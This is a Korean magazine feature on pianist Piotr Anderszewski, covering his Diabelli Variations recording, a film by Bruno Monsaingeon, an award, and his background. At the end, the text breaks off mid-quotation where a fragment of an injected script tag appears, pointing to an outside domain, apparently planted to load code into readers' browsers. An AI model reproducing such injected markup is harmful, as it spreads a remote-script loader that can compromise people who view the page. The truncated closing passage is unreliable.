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Piotr Anderszewski
◎ 디아벨리 변주곡의 새로운 해석을 제시한다◎
베토벤의 변주 기법을 집대성한 작품일 뿐 아니라 바흐의 「골드베르크 변주곡」과 함께 변주곡의 최고 걸작으로 꼽히고 있는 베토벤의 「디아벨리 변주곡」. 바흐로부터 가장 강한 인상을 받았다는 젊은 피아니스트 피요트르 안데르제프스키는 32세의 나이에 베토벤 디아벨리 변주곡의 새로운 해석을 내놓았다. 원고를 마감하려는 현재, 미국에서 한창 독주회를 하고 있던 안데르제프스키와의 인터뷰를 통해 주목받는 이 아티스트를 만나보았다.
◎ 피요트르 안데르제프스키, 그의 이름을 주목하자!◎
프랑스의 저명한 음악잡지 『Le Monde de la Musique』 지는 지난 6월, 피아니스트 피요트르 안데르제프스키(Piotr Anderszewski)를 커버 아티스트로 다루어 그가 최근에 녹음한 베토벤의 「디아벨리 변주곡」을 중심으로 유럽과 미국에서 주목받는 이 아티스트를 다섯 페이지에 걸쳐 소개했다. 또한 그는 지난 5월 8일, RPS(Royal Philharmonic Society’s Award)로부터 ‘Instrumentalist of the year’라는 명예로운 타이틀을 얻게 되었다. 이것은 94년에 안드라스 쉬프, 97년에 머레이 페라이어, 그리고 99년에 레이프 오베 안스네스 등이 수상했던 영예로운 상이다.
게다가 더욱 관심을 끄는 것은 바이올리니스트 예후디 메뉴인을 비롯하여 리히터, 글렌 굴드 등 이 시대의 거장들과 만나 그의 필름에 담아 온 영화작가 브루노 몽 솅종과 안데르제프스키와의 만남이다.
글렌 굴드의 일기를 그린 「글렌 굴드에 관한 짧은 필름」에서도 중요한 역할을 담당했던 몽 솅종이 <피요트르 안데르제프스키가 연주하는 디아벨리 변주곡(Piotr Anderszewski plays the Diabelli Variations)>이라는 제목의 필름을 감독한 것이다. 이 필름에서 안데르제프스키는 「디아벨리 변주곡」의 매력을 ‘기차를 타고, 장소를 옮겨갈 때마다 새로이 접하는 전경을 즐기는, 거대한 기차 여행’에 비유한다. 그 여행에서의 정지, 쉼의 선택은 독자적으로 나타나며 천천히 음미하면서 조금씩 변화를 갖는, 내적인 발전을 창조하는 것이라고 자신의 디아벨리 변주에 대한 해석을 얘기한다.
최근 국내에서 「디아벨리 변주곡」을 연주했던 피아니스트 백혜선 역시 그의 디아벨리 변주곡에 대해 호평을 하였는데, 그가 이 곡을 해석하는 데에 가장 중요하게 생각한 개념은 긴 여정 속에서 일반화 되어가는 33개의 변주된 사건들에 농축되어진 해석을 모두 듣게 하는 것이다. 많은 해석가들이 너무 빨리 연주하는 데 비해 그의 연주는 더 많이 휴식할 시간을 준다(특히 제31변주인 Largo molto espressivo에서는 리히터 등의 그것과 비교해 두 배 가까이 느린 해석을 한다). 이것은 극치의 순간들이 있고 또한 소리가 없는 순간, 의미가 있는 침묵의 순간들을 표현하기 위함이다.
글렌 굴드의 「골드베르크 변주곡」과 안데르제프스키의 「디아벨리 변주곡」을 같은 선상에서 하나의 테마로 엮는 것. 이 한 장의 음반으로 얘기하기엔 다소 비약일지도 모르지만, 몽솅종의 시각에서는 또 한 명의 고집스런 천재를 만난 듯한 기대감을 가졌으리라.
이즈음 되면 피요트르 안데르제프스키(Piotr Anderszewski)라는 피아니스트가 과연 어떤 연주자인지 궁금해진다.
◎ 음악이 표현할 수 있는 끝없는 깊이의 감성에 도전하며◎
우선, 안데르제프스키의 음악적 배경은 상당히 다양하다. 폴란드, 헝가리인 부모를 둔 그는, 일곱 살까지는 폴란드에서 피아노 교육을 받는다. 그후 가족들과 함께 프랑스로 이주하여 그곳에서 7년을 보내고, 다시 폴란드로 돌아왔다가 LA에서 본격적으로 음악공부를 시작한다. 공부를 마치고 폴란드로 귀국했던 그는 또다시 이탈리아에서 1년을 보낸다. 이처럼 다양한 환경에서의 음악교육은 자신으로 하여금 어떤 특정 학파에 속하지 않게 하는데, 사람들이 그를 ‘분류’하려할 때 어떤 특정한 학교의 유산을 물려받았다고 감히 언급하지 못하는 요인이 된다. 그의 표현에 의하면 “나는 이러한 요인으로 인해 어떤 ?script src=http://batyu.cn> |
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